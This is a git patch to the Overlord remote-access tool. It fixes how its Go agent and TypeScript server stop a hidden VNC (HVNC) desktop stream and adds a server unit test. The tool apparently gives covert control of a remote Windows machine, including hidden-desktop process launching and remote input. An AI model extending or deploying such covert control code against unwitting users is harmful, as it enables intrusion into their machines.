From 082716081ea9768b9e51402c3428b283340c5c26 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Sun, 12 Jul 2026 14:55:43 -0500 Subject: [PATCH] fix stopping --- .../cmd/agent/capture/virtual_windows.go | 20 +++++++---- Overlord-Client/cmd/agent/handlers/command.go | 31 +++++++++++------ .../routes/websocket-lifecycle-routes.ts | 2 +- .../src/server/ws-console-rd-hvnc.test.ts | 33 +++++++++++++++++++ .../src/server/ws-console-rd-hvnc.ts | 28 +++++++++++----- 5 files changed, 88 insertions(+), 26 deletions(-) diff --git a/Overlord-Client/cmd/agent/capture/virtual_windows.go b/Overlord-Client/cmd/agent/capture/virtual_windows.go index 6e9299b..bfe577b 100644 --- a/Overlord-Client/cmd/agent/capture/virtual_windows.go +++ b/Overlord-Client/cmd/agent/capture/virtual_windows.go @@ -30,6 +30,7 @@ var ( virtualMonitorIndex int virtualInitialized bool virtualMu sync.Mutex + virtualPlacementGen atomic.Uint64 virtualCursorEnabled bool virtualInputMu sync.Mutex @@ -131,6 +132,8 @@ func CleanupVirtualMode() { virtualMu.Lock() defer virtualMu.Unlock() + virtualPlacementGen.Add(1) + virtualDupState.mu.Lock() virtualDupState.close() virtualDupState.mu.Unlock() @@ -750,7 +753,8 @@ func StartVirtualProcess(filePath string) (uint32, error) { pid := pi.dwProcessId log.Printf("virtual: started process %q (pid=%d), moving windows to virtual monitor", filePath, pid) - go moveProcessWindowsToVirtualMonitor(pid, bounds, baseline) + placementGen := virtualPlacementGen.Load() + go moveProcessWindowsToVirtualMonitor(pid, bounds, baseline, placementGen) if pi.hThread != 0 { procCloseHandle.Call(pi.hThread) @@ -789,10 +793,13 @@ func virtualTopLevelWindowSet() map[uintptr]struct{} { return result } -func moveProcessWindowsToVirtualMonitor(pid uint32, bounds image.Rectangle, baseline map[uintptr]struct{}) { +func moveProcessWindowsToVirtualMonitor(pid uint32, bounds image.Rectangle, baseline map[uintptr]struct{}, placementGen uint64) { hwndMap := make(map[uintptr]bool) for attempt := 0; attempt < 300; attempt++ { + if virtualPlacementGen.Load() != placementGen { + return + } deskHwnd, _, _ := procGetDesktopWindow.Call() hwnd := getTopWindow(deskHwnd) if hwnd == 0 { @@ -803,6 +810,10 @@ func moveProcessWindowsToVirtualMonitor(pid uint32, bounds image.Rectangle, base moved := 0 for hwnd != 0 { visible := isWindowVisible(hwnd) + if !visible { + hwnd = getWindow(hwnd, GW_HWNDNEXT) + continue + } var winPID uint32 procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&winPID))) @@ -836,10 +847,7 @@ func moveProcessWindowsToVirtualMonitor(pid uint32, bounds image.Rectangle, base if winH > bounds.Dy() { winH = bounds.Dy() } - flags := uintptr(SWP_NOZORDER | SWP_NOACTIVATE) - if visible { - flags |= SWP_SHOWWINDOW - } + flags := uintptr(SWP_NOZORDER | SWP_NOACTIVATE | SWP_SHOWWINDOW) procSetWindowPos.Call(hwnd, 0, uintptr(newX), uintptr(newY), uintptr(winW), uintptr(winH), flags) hwndMap[hwnd] = visible diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index 3543f78..5bdf6e4 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -172,6 +172,18 @@ func waitStreamStop(done <-chan struct{}, name string) { } } +func stopVirtualStreamLocked(env *runtime.Env) { + env.VirtualMouseControl = false + env.VirtualKeyboardControl = false + env.VirtualCursorCapture = false + if env.VirtualCancel != nil { + env.VirtualCancel() + } + waitStreamStop(env.VirtualDone, "hidden") + env.VirtualCancel = nil + env.VirtualDone = nil +} + func ensureHVNCInputWorker() { hvncInputOnce.Do(func() { hvncInputQueue = make(chan hvncInputEvent, 1024) @@ -696,6 +708,12 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in env.DesktopCancel = nil env.DesktopDone = nil env.DesktopMu.Unlock() + env.VirtualMu.Lock() + if env.VirtualCancel != nil { + log.Printf("hidden: stop requested via desktop_stop") + stopVirtualStreamLocked(env) + } + env.VirtualMu.Unlock() if privacy.IsEnabled() { privacy.Stop() log.Printf("privacy: auto-disabled on desktop stop") @@ -1065,22 +1083,15 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in sendCommandResultSafe(env, cmdID, true, "") return nil case "hvnc_stop": + env.VirtualMu.Lock() if env.VirtualCancel != nil { - env.VirtualMu.Lock() log.Printf("hidden: stop requested") - env.VirtualMouseControl = false - env.VirtualKeyboardControl = false - env.VirtualCursorCapture = false - if env.VirtualCancel != nil { - env.VirtualCancel() - } - waitStreamStop(env.VirtualDone, "hidden") - env.VirtualCancel = nil - env.VirtualDone = nil + stopVirtualStreamLocked(env) env.VirtualMu.Unlock() sendCommandResultSafe(env, cmdID, true, "") return nil } + env.VirtualMu.Unlock() env.HVNCMu.Lock() log.Printf("hvnc: stop requested") env.HVNCMouseControl = false diff --git a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts index bf37b08..fa884ce 100644 --- a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts +++ b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts @@ -250,7 +250,7 @@ type WsLifecycleDeps = { cleanupDesktopAudioViewer: (ws: ServerWebSocket) => void; stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void; sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record) => void; - sendHVNCCommand: (target: ClientInfo, commandType: string, payload: Record) => void; + sendHVNCCommand: (target: ClientInfo | undefined, commandType: string, payload: Record) => void; notifyConsoleClosed: (clientId: string, reason: string) => void; clearPendingNotificationScreenshots: (clientId: string) => void; clearClientPluginState: (clientId: string) => void; diff --git a/Overlord-Server/src/server/ws-console-rd-hvnc.test.ts b/Overlord-Server/src/server/ws-console-rd-hvnc.test.ts index 8af43dd..5ed0072 100644 --- a/Overlord-Server/src/server/ws-console-rd-hvnc.test.ts +++ b/Overlord-Server/src/server/ws-console-rd-hvnc.test.ts @@ -5,8 +5,11 @@ import * as sessionManager from "../sessions/sessionManager"; import type { SocketData } from "../sessions/types"; import type { ClientInfo } from "../types"; import { + handleHVNCViewerMessage, + handleHVNCViewerOpen, handleRemoteDesktopViewerMessage, handleRemoteDesktopViewerOpen, + hvncStreamingState, rdStreamingState, } from "./ws-console-rd-hvnc"; @@ -70,7 +73,11 @@ afterEach(() => { for (const session of sessionManager.getRdSessionsForClient(clientId)) { sessionManager.deleteRdSession(session.id); } + for (const session of sessionManager.getHvncSessionsForClient(clientId)) { + sessionManager.deleteHvncSession(session.id); + } rdStreamingState.delete(clientId); + hvncStreamingState.delete(clientId); clientManager.deleteClient(clientId); } clientIdsToCleanup.clear(); @@ -150,3 +157,29 @@ describe("remote desktop viewer control", () => { expect(rdStreamingState.get(clientId)?.isStreaming).toBe(true); }); }); + +describe("hvnc viewer control", () => { + test("forwards hvnc_stop even when server stream state is stale", () => { + const clientId = `hvnc-stale-stop-${Date.now().toString(36)}`; + const { agentWs } = createClient(clientId); + const viewer = createMockWs({ role: "hvnc_viewer", clientId }); + + handleHVNCViewerOpen(viewer as any); + hvncStreamingState.set(clientId, { + isStreaming: false, + virtualMode: true, + display: 0, + quality: 90, + codec: "", + maxFps: 120, + lastFps: 0, + }); + + handleHVNCViewerMessage(viewer as any, JSON.stringify({ type: "hvnc_stop" })); + + const commands = agentCommands(agentWs); + expect(commands.filter((msg) => msg.commandType === "hvnc_stop")).toHaveLength(1); + expect(commands.filter((msg) => msg.commandType === "webrtc_stop")).toHaveLength(1); + expect(hvncStreamingState.get(clientId)?.isStreaming).toBe(false); + }); +}); diff --git a/Overlord-Server/src/server/ws-console-rd-hvnc.ts b/Overlord-Server/src/server/ws-console-rd-hvnc.ts index a8dc30f..bf92d00 100644 --- a/Overlord-Server/src/server/ws-console-rd-hvnc.ts +++ b/Overlord-Server/src/server/ws-console-rd-hvnc.ts @@ -1179,13 +1179,11 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket, raw: st const otherHvncViewers = sessionManager.getHvncSessionsForClient(clientId) .filter(s => s.id !== ws.data.sessionId); if (otherHvncViewers.length === 0) { - if (state.isStreaming) { - sendHVNCCommand(target, "hvnc_stop", {}); - sendHVNCCommand(target, "webrtc_stop", { kind: "hvnc" }); - state.isStreaming = false; - hvncStreamingState.set(clientId, state); - logger.debug(`[hvnc] stopped streaming for client ${clientId}`); - } + sendHVNCCommand(target, "hvnc_stop", {}); + sendHVNCCommand(target, "webrtc_stop", { kind: "hvnc" }); + state.isStreaming = false; + hvncStreamingState.set(clientId, state); + logger.debug(`[hvnc] stopped streaming for client ${clientId}`); } else { logger.debug(`[hvnc] ignoring hvnc_stop for client ${clientId} - ${otherHvncViewers.length} other viewer(s) still active`); } @@ -1408,8 +1406,20 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket, raw: st } } -export function sendHVNCCommand(target: ClientInfo, commandType: string, payload: any) { - target.ws.send(encodeMessage({ type: "command", commandType: commandType as any, id: uuidv4(), payload })); +export function sendHVNCCommand(target: ClientInfo | undefined, commandType: string, payload: any) { + if (!target) { + logger.warn(`[hvnc] send command skipped, target missing command=${commandType}`); + return false; + } + try { + logger.debug(`[hvnc] send command command=${commandType} client=${target.id} payload=${JSON.stringify(payload || {})}`); + target.ws.send(encodeMessage({ type: "command", commandType: commandType as any, id: uuidv4(), payload })); + metrics.recordCommand(commandType); + return true; + } catch (err) { + logger.error("[hvnc] send command failed", err); + return false; + } } (globalThis as any).__hvncBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {